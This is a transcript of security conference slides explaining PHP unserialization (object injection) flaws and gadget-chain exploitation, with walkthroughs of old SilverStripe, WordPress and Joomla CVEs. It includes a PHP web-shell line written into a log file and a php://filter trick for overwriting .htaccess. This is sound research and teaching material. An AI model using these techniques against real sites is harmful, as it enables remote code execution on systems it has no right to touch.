php unserialization vulnerabilities: what are we missing?
TRANSCRIPT
![Page 1: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/1.jpg)
© Pentest Limited 2015 - All rights reserved
PHP unserialization vulnerabilities:What are we missing?
Sam Thomas
![Page 2: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/2.jpg)
![Page 3: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/3.jpg)
PHP unserialization vulnerabilities?
Slowly emerging class of vulnerabilities
(PHP) Object Injection• An application will instantiate an object based on user input
• Unserialization
• “new” operator (see blog.leakfree.nl - CVE-2015-1033 - humhub)
![Page 4: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/4.jpg)
SilverStripe Changelogs 2.4.6 (2011-10-17)
Security: Potential remote code execution through serialization of page comment user submissions.
![Page 5: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/5.jpg)
2009• Stefan Esser - POC - Shocking News In PHP Exploitation
2010• Stefan Esser - BlackHat USA - Utilizing Code Reuse/ROP in PHP Application Exploits
2011
2012
![Page 6: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/6.jpg)
2009• Stefan Esser - POC - Shocking News In PHP Exploitation
2010• Stefan Esser - BlackHat USA - Utilizing Code Reuse/ROP in PHP Application Exploits
2011
2012
2013
• Arseny Reutov - Confidence Krakow - PHP Object Injection revisited
• Egidio Romano - JoomlaDay Italy - PHP Object Injection in Joomla...questo sconosciuto
2014
• Tom Van Goethem - Positive Hack Days - PHP Object Injection Vulnerability in WordPress: an Analysis
• Johannes Dahse - ACM CCS - Code Reuse Attacks in PHP: Automated POP Chain Generation
2015• Egidio Romano - Security Summit - PHP Object Injection Demystified
![Page 7: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/7.jpg)
New exploits for old vulnerabilities
• WordPress - CVE-2013-4338 - 714 days
• Joomla - CVE-2013-1453 - 933 days
• SilverStripe - CVE-2011-4962 - 1409 days
![Page 8: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/8.jpg)
• WordPress plugin
• 30% of ALL ecommerce sites (builtwith.com)
• Bug fixed June 10 2015
• Same payload as CVE-2013-4338
![Page 9: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/9.jpg)
The vulnerability
unserialize($user_controlled_data)
![Page 10: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/10.jpg)
The fixes
json_decode($user_controlled_data)
or
unserialize($data, $allowed_class_array)
![Page 11: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/11.jpg)
The exploit technique
Code reuse
ROP POP
ret2libc
Return
Oriented
Programming
Property
Oriented
Programming
![Page 12: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/12.jpg)
Agenda
• What is PHP (un)serialization?
• Why is it exploitable?
• Let’s exploit it!
![Page 13: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/13.jpg)
What is PHP (un)serialization?
serialize — Generates a storable representation of a value
unserialize — Creates a PHP value from a stored representation
1 i:1;
‘foobar’ s:6:”foobar”;
i:1; 1
s:6:”foobar”; ‘foobar’
![Page 14: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/14.jpg)
Primitive types in PHP
scalar
• boolean
• integer
• float
• string
compound
• array
• object
special
• resource
• NULL
![Page 15: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/15.jpg)
Array
![Page 16: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/16.jpg)
Object
public class className
{
private $prop1 = ‘value1’;
protected $prop2 = ‘value2’;
public $prop3 = ‘value3’;
public function meth1()
{
}
}
$x = new className();
![Page 17: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/17.jpg)
Agenda
• What is PHP Unserialization?
• Why is it exploitable?
• Let’s exploit it!
![Page 18: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/18.jpg)
Magic methods
• __construct()
• __destruct()
• __call()
• __callStatic()
• __get()
• __set()
• __isset()
• __unset()
• __sleep()
• __wakeup()
• __toString()
• __invoke()
• __set_state()
• __clone()
• __debugInfo()
![Page 19: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/19.jpg)
Magic methods
• __construct()
• __destruct()
• __call()
• __callStatic()
• __get()
• __set()
• __isset()
• __unset()
• __sleep()
• __wakeup()
• __toString()
• __invoke()
• __set_state()
• __clone()
• __debugInfo()
![Page 20: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/20.jpg)
__wakeup
• Invoked on unserialization
• Reinitialise database connections
• Other reinitialisation tasks
![Page 21: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/21.jpg)
__destruct
• Invoked on garbage collection
• Clean up references
• Finish any unfinished business
• Often interesting things happen here!
![Page 22: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/22.jpg)
__toString
• Invoked when an object is treated as a string:
echo $object;
• Can contain complex rendering methods
![Page 23: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/23.jpg)
__call
Invoked when an undefined method is called
$object->foobar($args)=$object->__call(‘foobar’,$args)
![Page 24: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/24.jpg)
Autoloading
• Applications define a function to deal with unloaded classes, this is invoked during unserialization
• Either “__autoload” function or any function registered with “spl_autoload_register”
![Page 25: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/25.jpg)
Weak typing
“PHP does not require (or support) explicit type definition in variable declaration”
variables (->object properties) can take any value
![Page 26: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/26.jpg)
All functions have variable arguments
foobar() = foobar(null) = foobar(null, null)
![Page 27: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/27.jpg)
Weak typing + variable args=
Many possible POP chains
![Page 28: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/28.jpg)
Agenda
• What is PHP Unserialization?
• Why is it exploitable?
• Let’s exploit it!
![Page 29: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/29.jpg)
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)• Dummy classes
• Indirect inclusion
• Find possible starting points• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point• Find desirable end points?
• Use more magic
![Page 30: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/30.jpg)
SilverStripe 2.4.x – 2.4.6CVE-2011-4962
(Tim Klein)
![Page 31: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/31.jpg)
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)• Dummy classes
• Indirect inclusion
• Find possible starting points• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point• Find desirable end points?
• Use more magic
![Page 32: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/32.jpg)
function PostCommentForm() {…
// Load the users data from a cookieif($cookie = Cookie::get("PageCommentInterface_Data")) {
$form->loadDataFrom(unserialize($cookie));}
…}
Entry point – PageCommentInterface - PostCommentForm
![Page 33: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/33.jpg)
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)• Dummy classes
• Indirect inclusion
• Find possible starting points• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point• Find desirable end points?
• Use more magic
![Page 34: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/34.jpg)
function sapphire_autoload($className) {global $_CLASS_MANIFEST;$lClassName = strtolower($className);if(isset($_CLASS_MANIFEST[$lClassName]))
include_once($_CLASS_MANIFEST[$lClassName]);else if(isset($_CLASS_MANIFEST[$className]))
include_once($_CLASS_MANIFEST[$className]);}
spl_autoload_register('sapphire_autoload');
Autoloader from core.php
![Page 35: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/35.jpg)
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)• Dummy classes
• Indirect inclusion
• Find possible starting points• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point• Find desirable end points?
• Use more magic
![Page 36: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/36.jpg)
Possible start points
• 0 x “function __wakeup”
• 5 x “function __destruct”• MySQLQuery, CSVParser, TestSession, Zend_Cache_Backend_Sqlite,
Zend_Log
![Page 37: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/37.jpg)
public function __destruct() {if(is_resource($this->handle))
mysql_free_result($this>handle);}
__destruct #1 - MySQLQuery
![Page 38: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/38.jpg)
function __destruct() { $this->closeFile();
}
protected function closeFile() {if($this->fileHandle) fclose($this->fileHandle);$this->fileHandle = null;$this->rowNum = 0;$this->currentRow = null;$this->headerRow = null;
}
__destruct #2 - CSVParser
![Page 39: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/39.jpg)
public function __destruct(){
foreach($this->_writers as $writer) {$writer->shutdown();
}}
__destruct #5 - Zend_Log
![Page 40: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/40.jpg)
Possible start points
• 0 x “function __wakeup”
• 5 x “function __destruct”• MySQLQuery, CSVParser, TestSession, Zend_Cache_Backend_Sqlite,
Zend_Log
![Page 41: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/41.jpg)
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)• Dummy classes
• Indirect inclusion
• Find possible starting points• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point• Find desirable end points?
• Use more magic
![Page 42: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/42.jpg)
Next steps
• 5 x “function shutdown”• Zend_Log_Writer_Abstract, Zend_Log_Writer_Db,
Zend_Log_Writer_Mail, Zend_Log_Writer_Mock, Zend_Log_Writer_Stream
![Page 43: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/43.jpg)
Next steps
• 5 x “function shutdown”• Zend_Log_Writer_Abstract, Zend_Log_Writer_Db,
Zend_Log_Writer_Mail, Zend_Log_Writer_Mock, Zend_Log_Writer_Stream
![Page 44: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/44.jpg)
Next steps
• 5 x “function shutdown”• Zend_Log_Writer_Abstract, Zend_Log_Writer_Db,
Zend_Log_Writer_Mail, Zend_Log_Writer_Mock, Zend_Log_Writer_Stream
![Page 45: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/45.jpg)
![Page 46: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/46.jpg)
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)• Dummy classes
• Indirect inclusion
• Find possible starting points• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point• Find desirable end points?
• Use more magic
![Page 47: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/47.jpg)
Next steps
• 5 x “function shutdown”• Zend_Log_Writer_Abstract, Zend_Log_Writer_Db,
Zend_Log_Writer_Mail, Zend_Log_Writer_Mock, Zend_Log_Writer_Stream
• 8 x “function __call”• Aggregate, VirtualPage, Object, ViewableData, Form_FieldMap,
TabularStyle, Zend_Cache_Frontend_Class, Zend_Log
![Page 48: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/48.jpg)
function __call($func, $args) {return call_user_func_array(array(&$this->form, $func), $args);
}
__call #6 – TabularStyle – proxy gadget
![Page 49: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/49.jpg)
public function __call($method, $params){
$priority = strtoupper($method);if (($priority = array_search($priority, $this->_priorities)) !== false) {
$this->log(array_shift($params), $priority);} else {
…}
}
public function log($message, $priority){
…$event = array_merge(array('timestamp' => date('c'),
'message' => $message,'priority' => $priority,'priorityName' => $this->_priorities[$priority]),$this->_extras);
…foreach ($this->_writers as $writer) {
$writer->write($event);}
}
__call #8 - Zend_Log
![Page 50: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/50.jpg)
Catch all __call gadget
Useful because of what triggers it
$this->anyProperty->anyMethod($anyArgs)
This at any start point will trigger it
![Page 51: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/51.jpg)
public function __call($method, $params){
$priority = strtoupper($method);if (($priority = array_search($priority, $this->_priorities)) !== false) {
$this->log(array_shift($params), $priority);} else {
…}
}
public function log($message, $priority){
…$event = array_merge(array('timestamp' => date('c'),
'message' => $message,'priority' => $priority,'priorityName' => $this->_priorities[$priority]),$this->_extras);
…foreach ($this->_writers as $writer) {
$writer->write($event);}
}
__call #8 - Zend_Log
![Page 52: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/52.jpg)
![Page 53: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/53.jpg)
Written to file
[19-Aug-2015 19:40:12] Error at line : hi mum (http://127.0.0.1/BSidesMCR/SilverStripe/test-page/)
![Page 54: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/54.jpg)
Written to file
[19-Aug-2015 19:40:12] Error at line : <?phppassthru($_GET[‘c’]); ?> (http://127.0.0.1/BSidesMCR/SilverStripe/test-page/)
![Page 55: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/55.jpg)
403
![Page 56: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/56.jpg)
There is a way
• Using “php://filter/convert.base64-decode/resource=”
• PHP ignores all non base64 characters
• Can be nested
• Use this to write a new .htaccess in a subdirectory
• See Stefan Esser’s Piwik advisory from 2009
![Page 57: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/57.jpg)
Wordpress<3.6.1CVE-2013-4338
(Tom Van Goethem)
![Page 58: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/58.jpg)
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)• Dummy classes
• Indirect inclusion
• Find possible starting points• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point• Find desirable end points?
• Use more magic
![Page 59: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/59.jpg)
Mathias Bynens
utf8 in mysql ≠ UTF-8• Only handles up to 3 byte characters
• 4 byte character terminates input like a null-byte poisoning attack
UPDATE table SET column = 'foo𝌆bar' WHERE id = 1;
SELECT column FROM table WHERE id = 1; - returns ‘foo’
![Page 60: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/60.jpg)
Tom Van Goethem
Genius insight
=
We can abuse this to screw with WordPress’ unserialization
![Page 61: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/61.jpg)
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)• Dummy classes
• Indirect inclusion
• Find possible starting points• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point• Find desirable end points?
• Use more magic
![Page 62: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/62.jpg)
No autoloader!?
![Page 63: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/63.jpg)
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)• Dummy classes
• Indirect inclusion
• Find possible starting points• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point• Find desirable end points?
• Use more magic
![Page 64: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/64.jpg)
Possible start points
(get_declared_classes)
• 0 x “function __wakeup”
• 2 x “function __destruct”• wpdb, WP_Object_Cache
• 1 x “function __toString”• WP_Theme
![Page 65: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/65.jpg)
public function __destruct() {return true;
}
__destruct #1 - wpdb
![Page 66: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/66.jpg)
public function __destruct() {return true;
}
__destruct #2 - WP_Object_Cache
![Page 67: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/67.jpg)
/*** When converting the object to a string, the theme name is returned.** @return string Theme name, ready for display (translated)*/public function __toString() {
return (string) $this->display('Name');}
public function display( $header, $markup = true, $translate = true ) {$value = $this->get( $header );
if ( $translate && ( empty( $value ) || ! $this->load_textdomain() ) )$translate = false;
if ( $translate )$value = $this->translate_header( $header, $value );
if ( $markup )$value = $this->markup_header( $header, $value, $translate );
return $value;}
__toString #1 - WP_Theme
![Page 68: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/68.jpg)
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)• Dummy classes
• Indirect inclusion
• Find possible starting points• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point• Find desirable end points?
• Use more magic
![Page 69: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/69.jpg)
![Page 70: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/70.jpg)
![Page 71: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/71.jpg)
![Page 72: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/72.jpg)
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)• Dummy classes
• Indirect inclusion
• Find possible starting points• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point• Find desirable end points?
• Use more magic
![Page 73: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/73.jpg)
/*** When converting the object to a string, the theme name is returned.** @return string Theme name, ready for display (translated)*/public function __toString() {
return (string) $this->display('Name');}
public function display( $header, $markup = true, $translate = true ) {$value = $this->get( $header );
if ( $translate && ( empty( $value ) || ! $this->load_textdomain() ) )$translate = false;
if ( $translate )$value = $this->translate_header( $header, $value );
if ( $markup )$value = $this->markup_header( $header, $value, $translate );
return $value;}
__toString #1 - WP_Theme
![Page 74: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/74.jpg)
/*** Makes a function, which will return the right translation index, according to the* plural forms header*/function make_plural_form_function($nplurals, $expression) {
$expression = str_replace('n', '$n', $expression);$func_body = "
\$index = (int)($expression);return (\$index < $nplurals)? \$index : $nplurals - 1;";
return create_function('$n', $func_body);}
Endpoint – make_plural_form_function - Translations
![Page 75: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/75.jpg)
WP_Theme __toString display load_textdomain
(l10n.php) load_theme_textdomain load_textdomain
MO import_from_file import_from_reader
Translations set_headers set_header make_plural_form_function
![Page 76: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/76.jpg)
![Page 77: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/77.jpg)
![Page 78: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/78.jpg)
![Page 79: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/79.jpg)
Joomla < 3.03CVE-2013-1453(Egidio Romano)
![Page 80: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/80.jpg)
Prior exploits
• 2013 - Egidio Romano• Arbitrary directory deletion
• Blind SQL injection
• 2014 - Johanne Dahse• File permission modification
• Directory creation
• Autoloaded local file inclusion – WTF!
![Page 81: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/81.jpg)
The LFI exploit
Abuses a sink I didn’t know about (method_exists)
Requires• null byte poisoning in include (CVE-2006-7243 – fixed 2010)
• Malformed class name passed to method_exists (fixed 2014)
![Page 82: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/82.jpg)
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)• Dummy classes
• Indirect inclusion
• Find possible starting points• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point• Find desirable end points?
• Use more magic
![Page 83: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/83.jpg)
public function onAfterDispatch(){
…
// Get the terms to highlight from the request.$terms = $input->request->get('highlight', null, 'base64');$terms = $terms ? unserialize(base64_decode($terms)) : null;
…}
Entry point - PlgSystemHighlight extends JPlugin
![Page 84: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/84.jpg)
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)• Dummy classes
• Indirect inclusion
• Find possible starting points• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point• Find desirable end points?
• Use more magic
![Page 85: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/85.jpg)
Autoloader has lots of code
• If the classname starts with the prefix “J”• Split camelCase at each uppercase letter
• e.g. JCacheController is at /libraries/Joomla/cache/controller.php
![Page 86: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/86.jpg)
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)• Dummy classes
• Indirect inclusion
• Find possible starting points• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point• Find desirable end points?
• Use more magic
![Page 87: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/87.jpg)
public function __destruct(){
// Do not render if debugging or language debug is not enabledif (!JDEBUG && !$this->debugLang){
return;}
// User has to be authorised to see the debug informationif (!$this->isAuthorisedDisplayDebug()){
return;}…
}
private function isAuthorisedDisplayDebug(){
…$filterGroups = (array) $this->params->get('filter_groups', null);…
}
Starting point - __destruct - plgSystemDebug extends JPlugin
![Page 88: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/88.jpg)
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)• Dummy classes
• Indirect inclusion
• Find possible starting points• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point• Find desirable end points?
• Use more magic
![Page 89: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/89.jpg)
Next steps
• 33 x “function get”• JApplicationCli, JApplicationWeb, JCache, JCacheControllerCallback,
JCacheControllerPage, JCacheControllerView, JCacheController, JCacheStorageApc, JCacheStorageCachelite, JCacheStorageFile, JCacheStorageMemcache, JCacheStorageMemcached, JCacheStorageWincache, JCacheStorageXcache, JCacheStorage, JClientFtp, JGithubGists, JGithubIssues, JGithubPulls, JGithubRefs, JHttp, JInputFiles, JInput, JLanguage, JObject, JPagination, JRegistry, JSession, JCategories, JException, JRequest, JViewLegacy, SimplePie
• 4 x “function __call”• JCacheController, *JDatabaseDriver, *JDatabaseQuery, JInput
![Page 90: PHP unserialization vulnerabilities: What are we missing?](https://reader034.vdocument.in/reader034/viewer/2022051122/58ebd3371a28abea6f8b45b3/html5/thumbnails/90.jpg)
